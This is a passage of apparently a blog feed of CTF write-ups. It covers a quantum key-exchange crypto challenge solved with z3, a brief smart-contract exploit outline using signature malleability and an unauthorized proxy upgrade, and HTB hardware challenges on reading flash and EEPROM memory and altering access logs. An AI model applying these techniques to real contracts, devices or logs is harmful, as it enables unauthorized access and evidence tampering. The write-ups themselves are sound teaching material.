qkd.decrypt_command(encrypted_command)<br>        <br>        if command == &quot;OPEN THE GATE&quot;:<br>            FLAG = open(&#39;flag.txt&#39;).read()<br>            json_print({&quot;info&quot;: f&quot; Welcome to The Frontier Board, the coordinates of The Starry Spurr are {SECRET_MESSAGE}{FLAG}&quot;})<br>            exit()<br><br>        else:<br>            json_print({&quot;error&quot;: &quot;Unknown command. Please, try again&quot;})<br><br><br>if __name__ == &#39;__main__&#39;:<br>    main()</pre><p>So reading through some keywords we can see that they’re trying to generate a shared key, which means that this is some sort of a key exchange protocol.</p><p>One thing that instantly caught my eye is how Bob generates the shared key</p><pre>bob_key = self.Bob.generate_shared_key(frames, ambiguous_frames, bob_sifting_strings)</pre><p>Because all the parameters appears to be public</p><pre>public = {<br>    &quot;double_matchings&quot;: double_matchings,<br>    &quot;frames&quot;: frames,<br>    &quot;sifting_strings&quot;: bob_sifting_strings,<br>    &quot;ambiguous_frames&quot;: ambiguous_frames<br>}</pre><p>However, when we actually look at the generate_shared_key function, apparently it does use some internal variables</p><pre>def generate_shared_key(self, frames, ambiguous_frames, sifting_strings):<br>    shared_secret = &quot;&quot;<br><br>    for frame in frames:<br>        if frame in ambiguous_frames:<br>            continue<br><br>        else:<br>            basis_orientation = (self.measurement_basis[frame[0]], self.measurement_basis[frame[1]])<br>            measurement_result = BOB_MR_DERIVATION[basis_orientation]<br>            shared_secret += KEY_DERIVATION[sifting_strings[frame]][measurement_result]<br><br>    return shared_secret</pre><p>as you can see, they are using a variable self.measurement_basis which we don’t know, but everything else is known! So if we can somehow get this measurement_basis thing we can easily solve the challenge, but how?</p><p>We can see that the measurement basis is generated randomly, the value is either X or Z and it is only used for some quantum stuff</p><pre>def measure(self, pairs):<br>    ...<br>    ...<br>    <br>    for i in range(len(pairs)):<br>        basis = randbits(1)<br>        if basis:<br>            # Measurement in &quot;X&quot; basis<br>            pairs[i][0].h(0)<br>            pairs[i][1].h(0)<br>        ...            <br>        ...<br>        self.measurement_basis[i] = &quot;X&quot; if basis else &quot;Z&quot;</pre><p>However the measurement_basis is also used somewhere else, and it relates to the public parameters. Let’s take a look at how sifting strings are generated</p><pre>def compute_sifting_bits(self, frame):<br>    sifting_bits = {<br>        &quot;X&quot;: 0, <br>        &quot;Z&quot;: 0<br>    }    <br>    for pair in frame:<br>        sifting_bits[self.measurement_basis[pair]] ^= int(self.measurement_results[pair][0])        <br>    return &#39;&#39;.join(map(str, sifting_bits.values()))<br><br>def compute_measured_bits(self, frame):<br>    measured_bits = []<br>    for pair in frame:<br>        measured_bits.append(self.measurement_results[pair][0]) # since both bits are equal due to the double matching event<br>    return &#39;&#39;.join(measured_bits)<br>        <br>def compute_sifting_strings(self, frames):<br>    sifting_strings = {}<br>    for frame in frames:<br>        sifting_bits = self.compute_sifting_bits(frame)<br>        measured_bits = self.compute_measured_bits(frame)<br>        sifting_strings[frame] = f&quot;{sifting_bits},{measured_bits}&quot;<br>    return sifting_strings</pre><p>sifting strings are generated by concatenating two things, a sifting bits and measured bits, the measured bits are just measurement_results but the sifting bits are more interesting.</p><p>Before we continue I’m going to make some data clear, you might be confused what a frame or a pair look like, you can analyze it by reading the paper or looking at the public parameters, but simply put a frame is just a pair of pairs, and the definition of a pair here doesn’t really matter. <em>(but in case you’re curious its just two qubits that are measured with the same basis and have the same result (since it only use </em><em>double_matchings) so it doesn’t really matter, we can treat them as one qubit)</em></p><p>A pair is represented by a single number, so a frame is an array with two numbers on it like [176, 248] etc.</p><p>Now back to the sifting bits, a sifting bits is generated by xor-ing the measurement result of each pair to their corresponding basis, consider the following scenario</p><pre>frame = [123, 456]<br>measurement_basis[123] == X<br>measurement_result[123] == 1<br><br>measurement_basis[456] == Z<br>measurement_result[456] == 1</pre><p>Initialize the sifting bits with both X and Z value to 0, then xor all the pair with X as basis with their result, which means the result will be 0 ^ 1 (from pair 123), and then doing the same with the Z basis, which also makes it 1, the sifting bits will be the concatenation of the two, which makes it 11</p><p>Now suppose that the basis for pair 456 is also X, it will make the result to be 0 ^ 1 ^ 1 which will be 0, so the result will be 00</p><h4>First Breakthrough</h4><p>From the sifting string alone we can see that we can somehow create some sort of relation between the measurement_basis and measurement_result, in fact, consider if ALL sifting strings have the measured bits/measurement result of 11 (THIS IS SOME CRAZY FORESHADOWING BTW) we can then create the following relation:</p><pre>If the frame [A, B] has the sifting string 00,11 -&gt; basis A == basis B<br>If the frame [A, B] has the sifting string 11,11 -&gt; basis A != basis B</pre><p>If you don’t understand why, go back to the example above where I explained both scenario</p><p>But you might be wondering, “well there is no way the entire sifting string is just ??,11 right? if there exist a pair where the measured bits is not 11 then this is just useless”</p><p>Well if you simply look at the entire sifting string you will notice that yes, there exist a frame where the sifting string is not ??,11 . But that’s not the end of the story, admittedly I didn’t read through the entire source code but I ended up experimenting with the result and find something interesting</p><h4>Second Breakthrough</h4><p>Let’s take a look again at Bob’s generate_shared_key function</p><pre>def generate_shared_key(self, frames, ambiguous_frames, sifting_strings):<br>    shared_secret = &quot;&quot;<br><br>    for frame in frames:<br>        if frame in ambiguous_frames:<br>            continue<br><br>        else:<br>            basis_orientation = (self.measurement_basis[frame[0]], self.measurement_basis[frame[1]])<br>            measurement_result = BOB_MR_DERIVATION[basis_orientation]<br>            shared_secret += KEY_DERIVATION[sifting_strings[frame]][measurement_result]<br><br>    return shared_secret</pre><p>We can see that apparently not all frames are being used, there are something called ambiguous_frames, if a frame is in this ambiguous_frames thing, it would not count towards generating the shared secret</p><p>That being said let’s see what happens when we only take non-ambiguous frames and look at their sifting strings</p><pre>a = ... # the public variable<br>frames = a[&#39;frames&#39;]<br>ambiguous = a[&#39;ambiguous_frames&#39;]<br>sifting = a[&#39;sifting_strings&#39;]<br>for i,j in zip(frames, sifting):<br>    if i not in ambiguous:<br>        print(i, j)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/242/1*8Z0d2Kxf77fr6lMbr9tXVQ.png" /><figcaption>Taking only non-ambiguous frames, we can see that all of the sifting strings have the measured bits of “11”</figcaption></figure><p>I was pleasantly surprised when I see this, I’m not sure how this happened (it might be some complicated implementation thing) but with this we can now apply our previous breakthrough and create these relations, using z3 we can solve for the entire measurement_basis and recover the shared_key to get the flag!</p><pre>a = ...<br>frames = a[&#39;frames&#39;]<br>ambiguous = a[&#39;ambiguous_frames&#39;]<br>sifting = a[&#39;sifting_strings&#39;]<br><br>from z3 import *<br>ind = [BitVec(&#39;ind_%d&#39; % i, 1) for i in range(max(a[&#39;double_matchings&#39;])+1)]<br>s = Solver()<br><br>usedsifting = []<br>usedframe = []<br>for i,j in zip(frames, sifting):<br>    if i not in ambiguous:<br>        usedframe.append(i)<br>        usedsifting.append(j)<br>        print(i, j)<br>        if j[:2] == &quot;11&quot;:<br>            s.add(ind[i[0]] != ind[i[1]])<br>        elif j[:2] == &quot;00&quot;:<br>            s.add(ind[i[0]] == ind[i[1]])<br>s.check()<br>m = s.model()<br><br>from helpers import *<br>shared_secret = &quot;&quot;<br>for s,f in zip(usedsifting,usedframe):<br>    first = &#39;XZ&#39;[m[ind[f[0]]].as_long()]<br>    second = &#39;XZ&#39;[m[ind[f[1]]].as_long()]<br>    basis_orientation = (first, second)<br>    measurement_result = BOB_MR_DERIVATION[basis_orientation]<br>    shared_secret += KEY_DERIVATION[s][measurement_result]<br><br>from hashlib import sha256<br>from Crypto.Cipher import AES<br>from Crypto.Util.Padding import pad<br><br>key = sha256(shared_secret.encode()).digest()<br>aes = AES.new(key, AES.MODE_ECB)<br>cmd = pad(b&quot;OPEN THE GATE&quot;, 16)<br>enc = aes.encrypt(cmd)<br>print(enc.hex())</pre><p>Unfortunately the after party is over so I can’t really show you the output but it works during the CTF</p><h3>Blockchain — Stargazer</h3><p>I will update this blog post later for full writeup but TL;DR:</p><ul><li>Find a used ticket (check the logs) and take their signature (r, s)</li><li>calculate (r, -s mod n) for a new valid signature and create your own ticket</li><li>Create a fake StargazerKernel contract where the getStarSightings function always return ≥ 2 elements</li><li>Call the upgradeToAndCall function (it’s from UUPSUpgradeable.sol, that’s why there’s the _authorizeUpgrade function) and upgrade the kernel to our fake kernel contract.</li><li>solved!</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=090171a75db2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solving HTB Cyber Apocalypse Hardware challenges without any prior knowledge of hardware]]></title>
            <link>https://wrth.medium.com/solving-htb-cyber-apocalypse-hardware-challenges-without-any-prior-knowledge-of-hardware-2633187210f5?source=rss-686d673f53f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/2633187210f5</guid>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Bill Elim]]></dc:creator>
            <pubDate>Sun, 17 Mar 2024 17:13:03 GMT</pubDate>
            <atom:updated>2024-03-17T17:13:03.551Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="HackTheBox Cyber Apocalypse 2024 Banner" src="https://cdn-images-1.medium.com/max/1024/0*P7H3QKeC30nKek8T.jpg" /></figure><p>A couple days ago I was playing and competition is really fierce, in order to squeeze the last bit of points I have to solve the hardware challenges. Unfortunately, I have no experience whatsoever in hardware, thankfully I ended up solving all of the hardware challenge and I think it is a very fun learning process. I will try to walk you through from knowing absolutely so everyone can follow along.</p><p>In this writeup I will talk about 3 challenges, Rids, The PROM, and Flash-ing Logs . The other 2 challenges were labeled very easy and I think there are a lot of learning resource already</p><h3>Rids</h3><figure><img alt="CHALLENGE NAME: Rids
Description: Upon reaching the factory door, you physically open the RFID lock and find a flash memory chip inside. The chip’s package has the word W25Q128 written on it. Your task is to uncover the secret encryption keys stored within so the team can generate valid credentials to gain access to the facility." src="https://cdn-images-1.medium.com/max/639/1*3hpHIV16r_Az8EsINw_Eag.png" /></figure><p>In this challenge, we are given a client.py file that can be used to communicate to a hardware, in the description, we know it is W25Q128, I don’t even know what that is, so let’s try googling it</p><figure><img alt="The W25Q128 is a 128 megabit serial flash memory from Winbond Electronics" src="https://cdn-images-1.medium.com/max/987/1*92y4mf3VaoXYENjjk5wy0Q.png" /></figure><p>Okay, to be honest there are a lot of stuff here that I don’t understand, but for know all we know that it is a <strong>serial flash memory</strong>, let’s see what that means</p><figure><img alt="Serial flash memory, also known as SPI (Serial Peripheral Interface) flash, is a non-volatile memory device that uses a serial communication protocol to transfer data." src="https://cdn-images-1.medium.com/max/931/1*XDIIQ1XDPm0ggaw3yMrkUQ.png" /></figure><p>Ah interesting, so it is a memory that we can communicate with, the objective of this challenge is not clear yet, but for now since it stores some data the first intuitive thing to do is to try to read it so lets try!</p><p>Thankfully we are given this client.py file that we can use to exchange information with the hardware</p><pre>import socket<br>import json<br><br>def exchange(hex_list, value=0):<br><br>    # Configure according to your setup<br>    host = &#39;127.0.0.1&#39;  # The server&#39;s hostname or IP address<br>    port = 1337        # The port used by the server<br>    cs=0 # /CS on A*BUS3 (range: A*BUS3 to A*BUS7)<br>    <br>    usb_device_url = &#39;ftdi://ftdi:2232h/1&#39;<br><br>    # Convert hex list to strings and prepare the command data<br>    command_data = {<br>        &quot;tool&quot;: &quot;pyftdi&quot;,<br>        &quot;cs_pin&quot;:  cs,<br>        &quot;url&quot;:  usb_device_url,<br>        &quot;data_out&quot;: [hex(x) for x in hex_list],  # Convert hex numbers to hex strings<br>        &quot;readlen&quot;: value<br>    }<br>    <br>    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:<br>        s.connect((host, port))<br>        <br>        # Serialize data to JSON and send<br>        s.sendall(json.dumps(command_data).encode(&#39;utf-8&#39;))<br>        <br>        # Receive and process response<br>        data = b&#39;&#39;<br>        while True:<br>            data += s.recv(1024)<br>            if data.endswith(b&#39;]&#39;):<br>                break<br>                <br>        response = json.loads(data.decode(&#39;utf-8&#39;))<br>        #print(f&quot;Received: {response}&quot;)<br>    return response<br><br><br># Example command<br>jedec_id = exchange([0x9F], 3)<br>print(jedec_id)</pre><p>Here we can see that we are provided with the exchange() function, it simply connects to the remote server and send some JSON data, we can also see that the value parameter is used as the readlen argument there on the JSON, so we can assume that the value parameter is how long we wanna read or see the returned result. Cool, let’s check the example command</p><pre># Example command<br>jedec_id = exchange([0x9F], 3)<br>print(jedec_id)</pre><p>So I guess this command are supposed to return the jedec_id, what even is jedec_id? and why is the command [0x9f], at this moment you might realize what’s going on, there are specific instruction to do specific things, like in this example, 9F means it will return the jedec_id (whatever that means lmao), and so first we must find the list of instruction</p><p>From some previous googling we know that W25Q128 is made by Winbond, so let’s google some documentation!</p><figure><img alt="Googling for winbond documentation, the result returns documentatio for W25Q128JV, there are extra JV at the end" src="https://cdn-images-1.medium.com/max/904/1*C5A6PYiZLHhiP9Aj-W8AYQ.png" /><figcaption><a href="https://www.winbond.com/hq/product/code-storage-flash-memory/serial-nor-flash/?__locale=en&amp;partNo=W25Q128JV">https://www.winbond.com/hq/product/code-storage-flash-memory/serial-nor-flash/?__locale=en&amp;partNo=W25Q128JV</a></figcaption></figure><p>Hmmmm I don’t know about the additional JV at the end there, but nonetheless let’s try to read it!</p><p>Going to the first search result we can find the datasheet, which looks like a manual, this is what we need!</p><p>At page 20, we can see the list of instruction and their opcodes:</p><figure><img alt="At page 20 of the datasheet, there are tables of instruction and the bytes used, according to the table JEDEC ID instruction uses byte 9F, so we are right" src="https://cdn-images-1.medium.com/max/1024/1*b1XgVNDgWsvRFNQgffhlQA.png" /></figure><p>AHA! There they are, 9F as as JEDEC ID, so this is what we are looking for, I wonder what useful instruction can we do?</p><p>I can see the Read Data instruction there with opcode 03 , so I decided to just try it</p><pre># Example command<br># jedec_id = exchange([0x9F], 3)<br>jedec_id = exchange([0x03], 3)<br>print(jedec_id)</pre><figure><img alt="The output: 72, 84, 66" src="https://cdn-images-1.medium.com/max/259/1*IdTxIonYV2OHbKUlf0UYXg.png" /></figure><p>Whoa, it returns something! In fact, if we convert this to ASCII, it’s actually read HTB , so this could be the flag? Let’s try reading more data and see</p><pre># Example command<br>flag = exchange([0x03], 100)<br>print(bytes(flag))</pre><figure><img alt="Running the python script gives us the flag" src="https://cdn-images-1.medium.com/max/763/1*kDKqtlwWvAHalsgcOnWNfQ.png" /></figure><p>And we found the flag! But this is just the beginning, This client.py file will be used again in the challenge Flash-ing Logs, this challenges is here only to familiarize us with the client.py file and the manual. There are many things that we haven’t learned yet, like in the instruction, there are option to provide more than 1 bytes as the instruction, but at least our current knowledge is enough to solve this challenge</p><h3>The PROM</h3><figure><img alt="CHALLENGE NAME: The PROM
Description: After entering the door, you navigate through the building, evading guards, and quickly locate the server room in the basement. Despite easy bypassing of security measures and cameras, laser motion sensors pose a challenge. They’re controlled by a small 8-bit computer equipped with AT28C16 a well-known EEPROM as its control unit. Can you uncover the EEPROM’s secrets?" src="https://cdn-images-1.medium.com/max/644/1*UpvLI8aCOSD2Ibo0ZZISOw.png" /></figure><p>This challenges uses a different hardware, that is AT28C16, an EEPROM, what is an EEPROM you ask? let’s see</p><figure><img alt="EEPROM, or electrically erasable programmable read-only memory, is a type of non-volatile memory that can store small amounts of data in computers and other electronic devices. EEPROM chips are known as byte erasable chips because they allow individual bytes of data to be erased and reprogrammed. The stored data is non-volatile and can be erased on a byte-by-byte basis" src="https://cdn-images-1.medium.com/max/918/1*9gypU5Oe2yXpiqc9qr1y6g.png" /></figure><p>Okay so it’s pretty much the same thing as serial flash memory? We will discover more about the difference soon, this time we are given a remote connection but without any attachment, connecting to the service looks like this</p><figure><img alt="The display when connecting to the remote server, there are some manual on how to do certain things, like read byte, write byte, etc." src="https://cdn-images-1.medium.com/max/1024/1*J5ercorXGhs1arH3RBJaow.png" /></figure><p>This is interesting, and most importantly look, there are read_byte(), and write_byte() function, the description says that read_byte() reads something from the current address, what is the current address? it is controlled by the set_address_pins() function… right? maybe? anyway I don’t know anything about this, so let’s once again search for documentation</p><figure><img alt="Searching for AT28C16 EEPROM documentation gives us a PDF containing the documentation" src="https://cdn-images-1.medium.com/max/927/1*-FMBYbympYTmkwaQgB668Q.png" /><figcaption><a href="http://cva.stanford.edu/classes/cs99s/datasheets/at28c16.pdf">http://cva.stanford.edu/classes/cs99s/datasheets/at28c16.pdf</a></figcaption></figure><p>cool, once again we found a PDF, let’s read it</p><figure><img alt="The documentation for operating modes, it is a little bit confusing" src="https://cdn-images-1.medium.com/max/1024/1*qvkjNZ_xKgK4XsS6cYDKuw.png" /></figure><p>Oh no…. what does this even mean</p><p>Let’s do it like the previous challenge and attempt to read a byte from the memory, how can we do that?</p><p>Let’s see the table right below that one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*55KTKOiva-0F2xySgAm12w.png" /></figure><p>This clears things up a little, so in order to read, we have to set CE and OE pins to Input Low Voltage, meaning ≤ 0.8V, and set WE pins to Input High Voltage, that is &gt; 2.0 V, but what there is 1 more column, the I/O column, what does D_out even mean? I can’t find it anywhere on the documentation, but let’s just skip it and see if it even matters</p><p>Alright, let’s try!</p><pre>from pwn import *<br># context.log_level = &#39;debug&#39;<br>p = remote(&quot;94.237.57.59&quot;, 51883)<br><br>def read_mode():<br>    p.sendline(f&quot;set_ce_pin(0.8)&quot;.encode())<br>    p.sendline(f&quot;set_oe_pin(0.8)&quot;.encode())<br>    p.sendline(f&quot;set_we_pin(2.0)&quot;.encode())<br><br>def read_byte():<br>    p.sendline(b&#39;read_byte()&#39;)<br>    response = p.recvline().decode().strip()<br>    return response<br><br>p.recvuntil(b&quot;4.2])&quot;)<br>p.recvline()<br>p.recvline()<br><br>read_mode()<br>print(read_byte())</pre><figure><img alt="Error: Pins are not set correctly" src="https://cdn-images-1.medium.com/max/737/1*App89wC-nBYuZjYv4NE-pw.png" /></figure><p>Oh no this is bad, we set the pins as it should be, but it still doesn’t work.</p><p>Looking at the notes below the flag</p><figure><img alt="VH = 12.0V" src="https://cdn-images-1.medium.com/max/576/1*J7dd9hBaubNczpNEYnzjzA.png" /></figure><p>It says V_H is 12.0V, well its not exactly V_IH but what if we try? Also let’s lower the CE and OE pin a little bit, maybe if we put them in the middle it will be more stable?</p><pre>from pwn import *<br># context.log_level = &#39;debug&#39;<br>p = remote(&quot;83.136.254.223&quot;, 52428)<br><br>def read_mode():<br>    p.sendline(f&quot;set_ce_pin(0.5)&quot;.encode())<br>    p.sendline(f&quot;set_oe_pin(0.5)&quot;.encode())<br>    p.sendline(f&quot;set_we_pin(12)&quot;.encode())<br><br>def read_byte():<br>    p.sendline(b&#39;read_byte()&#39;)<br>    response = p.recvline().decode().strip()<br>    return response<br><br>p.recvuntil(b&quot;4.2])&quot;)<br>p.recvline()<br>p.recvline()<br><br>read_mode()<br>print(read_byte())</pre><figure><img alt="Error: The chip is burned" src="https://cdn-images-1.medium.com/max/737/1*z4xArk3xp-udatvpCGUW_A.png" /></figure><p>Well that didn’t work…</p><p>Okay so at this point I was just playing around trying to see what is the limit of voltage I can supply before the chip is burned, and then, this happened</p><pre>from pwn import *<br># context.log_level = &#39;debug&#39;<br>p = remote(&quot;83.136.254.223&quot;, 52428)<br><br>def read_mode():<br>    p.sendline(f&quot;set_ce_pin(0.5)&quot;.encode())<br>    p.sendline(f&quot;set_oe_pin(0.5)&quot;.encode())<br>    p.sendline(f&quot;set_we_pin(5)&quot;.encode())<br><br>def read_byte():<br>    p.sendline(b&#39;read_byte()&#39;)<br>    response = p.recvline().decode().strip()<br>    return response<br><br>p.recvuntil(b&quot;4.2])&quot;)<br>p.recvline()<br>p.recvline()<br><br>read_mode()<br>print(read_byte())</pre><figure><img alt="Read 0x0 at address 0x2ba" src="https://cdn-images-1.medium.com/max/703/1*MU6SMZvKEZkJHYNFYYNLnA.png" /></figure><p>It works!</p><p>I set the WE pin to 5V and now we can read a byte, but we can see that it reads from an arbitrary address, how can we control the address?</p><p>Let’s read some more documentation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*DVfoVa-e6cP65tWomop_9w.png" /></figure><p>Okay so the location is determined by address pins, and we have the set_address_pins function, but how do we use it?</p><p>I tried to use it the same way to set the io pins but it shows the following error</p><figure><img alt="Error: Incorrect number of address pins" src="https://cdn-images-1.medium.com/max/1024/1*LsxkHhbP5j9CA51NnF7-Dw.png" /></figure><p>Okay so looking at the description of the commands the set_address_pins function sets the address pins from A10 to A0, so there will be in total 11 pins, so let’s try it!</p><pre># I will now not write the previous functions again so the snippet wouldn&#39;t take too much space<br>p.recvuntil(b&quot;4.2])&quot;)<br>p.recvline()<br>p.recvline()<br><br>p.sendline(b&quot;set_address_pins([0,0,0,0,0,0,0,0,0,0,0])&quot;)<br>read_mode()<br>print(read_byte())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*I-wZQw3PdFhDHNOubGbUEQ.png" /></figure><p>It works!</p><p>It also read at address 0, so I instinctively thinks this is binary, let’s try to read at index 1</p><pre>p.sendline(b&quot;set_address_pins([0,0,0,0,0,0,0,0,0,0,1])&quot;)<br>read_mode()<br>print(read_byte())</pre><figure><img alt="Read 0x0 at address 0x0" src="https://cdn-images-1.medium.com/max/691/1*I-wZQw3PdFhDHNOubGbUEQ.png" /></figure><p>What?? its still read at address 0? How???</p><p>Learning from the previous mistake, we can try to increase the voltage again, and as expected somewhere around 10 volt will burn the chip, but setting it just right apparently allow us to now control the address</p><pre>p.sendline(b&quot;set_address_pins([0,0,0,0,0,0,0,0,0,0,5])&quot;)<br>read_mode()<br>print(read_byte())</pre><figure><img alt="Read 0x0 at address 0x1" src="https://cdn-images-1.medium.com/max/693/1*lVWnBDsYFZcx9gBNA_MSbw.png" /></figure><p>Yeay, now we can control the address!</p><p>Now we will modify our read_byte function to read at specific address</p><pre>def to_address(num):<br>    address = bin(num)[2:].zfill(11)<br>    address = address.replace(&#39;1&#39;, &#39;5&#39;)<br>    address = f&quot;[{&#39;,&#39;.join(address)}]&quot;<br>    return address<br>    <br>def read_byte(addr):<br>    address = to_address(addr)<br>    p.sendline(f&quot;set_address_pins({address})&quot;.encode())<br>    p.sendline(b&#39;read_byte()&#39;)<br>    response = p.recvline().decode().strip()<br>    return response</pre><p>So now where should we read? unfortunately even if you bruteforce the entire address range from 0, there is no flag written in the memory.</p><p>Let’s read more stuff from the documentation</p><figure><img alt="DEVICE IDENTIFICATION: An extra 32 bytes of
 EEPROM memory are available to the user for device identification. By raising A9 to 12 ± 0.5V and using address
 locations 7E0H to 7FFH the additional bytes may be written
 to or read from in the same manner as the regular memory
 array" src="https://cdn-images-1.medium.com/max/735/1*o_sRYPVgEIqWOy_aa8BZjQ.png" /></figure><p>Okay, it looks like there are more stuff we can read by setting the A9 pins to 12V, let’s try it out!</p><p>We will add the new function to read from the secret address, This is what our script will look like</p><pre>from pwn import *<br># context.log_level = &#39;debug&#39;<br>p = remote(&quot;83.136.254.223&quot;, 45188)<br><br>def read_mode():<br>    p.sendline(f&quot;set_ce_pin(0.5)&quot;.encode())<br>    p.sendline(f&quot;set_oe_pin(0.5)&quot;.encode())<br>    p.sendline(f&quot;set_we_pin(5)&quot;.encode())<br><br>def to_address(num):<br>    address = bin(num)[2:].zfill(11)<br>    address = address.replace(&#39;1&#39;, &#39;5&#39;)<br>    address = f&quot;[{&#39;,&#39;.join(address)}]&quot;<br>    return address<br>    <br>def read_byte(addr):<br>    address = to_address(addr)<br>    p.sendline(f&quot;set_address_pins({address})&quot;.encode())<br>    p.sendline(b&#39;read_byte()&#39;)<br>    response = p.recvline().decode().strip()<br>    return response<br><br>def to_address_secret(num):<br>    address = bin(num)[2:].zfill(5)<br>    address = list(address.replace(&#39;1&#39;, &#39;5&#39;))<br>    address = [&#39;5&#39;,&#39;12&#39;,&#39;5&#39;,&#39;5&#39;,&#39;5&#39;,&#39;5&#39;] + address<br>    address = f&quot;[{&#39;,&#39;.join(address)}]&quot;<br>    return address<br><br>def read_byte_secret(addr):<br>    address = to_address_secret(addr)<br>    p.sendline(f&quot;set_address_pins({address})&quot;.encode())<br>    p.sendline(b&#39;read_byte()&#39;)<br>    response = p.recvline().decode().strip()<br>    return response<br><br>p.recvuntil(b&quot;4.2])&quot;)<br>p.recvline()<br>p.recvline()<br><br>read_mode()<br>print(read_byte_secret(0x0))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*lkjLFNjwwC4DL-__vHz9cg.png" /></figure><p>Looks like we have some data now! in fact, 0x48 is the letter H, which is the start of our flag, we can continue reading more bytes and get the full flag</p><pre>read_mode()<br>for i in range(32):<br>    res = int((read_byte_secret(i)).split(&quot;Read &quot;)[1].split()[0],16)<br>    print(chr(res), end=&quot;&quot;)<br>print()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*uZocwsUl7m467B6wQvOglw.png" /></figure><h3>Flash-ing Logs</h3><figure><img alt="CHALLENGE NAME
 Flash-ing Logs
 After deactivating the lasers, you approach the door to the server room. It seems there’s a secondary flash memory inside, storing the log data of every entry. As the system is air-gapped, you must modify the logs directly on the chip to avoid detection. Be careful to alter only the user_id = 0x5244 so the registered logs point out to a different user. The rest of the logs stored in the memory must remain as is." src="https://cdn-images-1.medium.com/max/658/1*VtqhxtRu6OFKCsbQvW5_ZQ.png" /></figure><p>In this challenge we are back using W25Q128 and the client.py file from earlier. We are given the following C file</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdint.h&gt;<br>#include &lt;stdbool.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;wiringPiSPI.h&gt;<br>#include &quot;W25Q128.h&quot; // Our custom chip is compatible with the original W25Q128XX design<br><br>#define SPI_CHANNEL 0 // /dev/spidev0.0<br>//#define SPI_CHANNEL 1 // /dev/spidev0.1<br><br>#define CRC_SIZE 4 // Size of the CRC data in bytes<br>#define KEY_SIZE 12 // Size of the key<br><br><br><br>// SmartLockEvent structure definition<br>typedef struct {<br>    uint32_t timestamp;   // Timestamp of the event<br>    uint8_t eventType;    // Numeric code for type of event // 0 to 255 (0xFF)<br>    uint16_t userId;      // Numeric user identifier // 0 t0 65535 (0xFFFF)<br>    uint8_t method;       // Numeric code for unlock method<br>    uint8_t status;       // Numeric code for status (success, failure)<br>} SmartLockEvent;<br><br><br>// Function Prototypes<br>int log_event(const SmartLockEvent event, uint32_t sector, uint32_t address);<br>uint32_t calculateCRC32(const uint8_t *data, size_t length);<br>void write_to_flash(uint32_t sector, uint32_t address, uint8_t *data, size_t length);<br><br>// CRC-32 calculation function<br>uint32_t calculateCRC32(const uint8_t *data, size_t length) {<br>    uint32_t crc = 0xFFFFFFFF;<br>    for (size_t i = 0; i &lt; length; ++i) {<br>        crc ^= data[i];<br>        for (uint8_t j = 0; j &lt; 8; ++j) {<br>            if (crc &amp; 1)<br>                crc = (crc &gt;&gt; 1) ^ 0xEDB88320;<br>            else<br>                crc &gt;&gt;= 1;<br>        }<br>    }<br>    return ~crc;<br>}<br><br><br>bool verify_flashMemory() {<br>    uint8_t jedc[3]; <br>    uint8_t uid[8];     <br>    uint8_t buf[256];     <br>    uint8_t wdata[26];    <br>    uint8_t i;<br>  <br>    uint16_t n;    <br><br>    bool jedecid_match = true; // Assume true, prove false<br>    bool uid_match = true; // Assume true, prove false<br><br>    // JEDEC ID to verify against <br>    uint8_t expectedJedec[3] = {0xEF, 0x40, 0x18};<br><br>    // UID to verify against <br>    uint8_t expectedUID[8] = {0xd2, 0x66, 0xb4, 0x21, 0x83, 0x1f, 0x09, 0x2b};<br><br><br>    // SPI channel 0 at 2MHz.<br>    // Start SPI channel 0 with 2MHz<br>    if (wiringPiSPISetup(SPI_CHANNEL, 2000000) &lt; 0) {<br>      printf(&quot;SPISetup failed:\n&quot;);<br>    }<br><br>    // Start Flash Memory<br>    W25Q128_begin(SPI_CHANNEL);<br>    <br>    // JEDEC ID Get<br>    //W25Q128_readManufacturer(buf);<br>    W25Q128_readManufacturer(jedc);<br>    printf(&quot;JEDEC ID : &quot;);<br>    for (i=0; i&lt; 3; i++) {<br>      printf(&quot;%x &quot;,jedc[i]);<br>    }<br>    <br>    // Iterate over the array and compare elements<br>    for (int i = 0; i &lt; sizeof(jedc)/sizeof(jedc[0]); ++i) {<br>        if (jedc[i] != expectedJedec[i]) {<br>            jedecid_match = false; // Set match to false if any element doesn&#39;t match<br>            break; // No need to check further if a mismatch is found<br>        }<br>    }<br><br>    if (jedecid_match) {<br>        printf(&quot;JEDEC ID verified successfully.\n&quot;);<br>    } else {<br>        printf(&quot;JEDEC ID does not match.\n&quot;);<br>        return 0;<br>    }<br><br>    // Unique ID<br>    // Unique ID Get<br>    W25Q128_readUniqieID(uid);<br>    printf(&quot;Unique ID : &quot;);<br>    for (i=0; i&lt; 8; i++) {<br>      printf(&quot;%x &quot;,uid[i]);<br>    }<br>    printf(&quot;\n&quot;);<br>  <br>    // Iterate over the array and compare elements<br>    for (int i = 0; i &lt; sizeof(uid)/sizeof(uid[0]); ++i) {<br>        if (uid[i] != expectedUID[i]) {<br>            uid_match = false; // Set match to false if any element doesn&#39;t match<br>            break; // No need to check further if a mismatch is found<br>        }<br>    }<br><br>    if (uid_match) {<br>        printf(&quot;UID verified successfully.\n&quot;);<br>    } else {<br>        printf(&quot;UID does not match.\n&quot;);<br>        return 0;<br>    }<br><br>    return 1;<br>}<br>// Implementations<br>int log_event(const SmartLockEvent event, uint32_t sector, uint32_t address) {<br><br>    bool memory_verified = false;<br>    uint8_t i;<br>    uint16_t n;  <br>    uint8_t buf[256];   <br><br><br>    memory_verified = verify_flashMemory();<br>    if (!memory_verified) return 0;<br><br>     // Start Flash Memory<br>    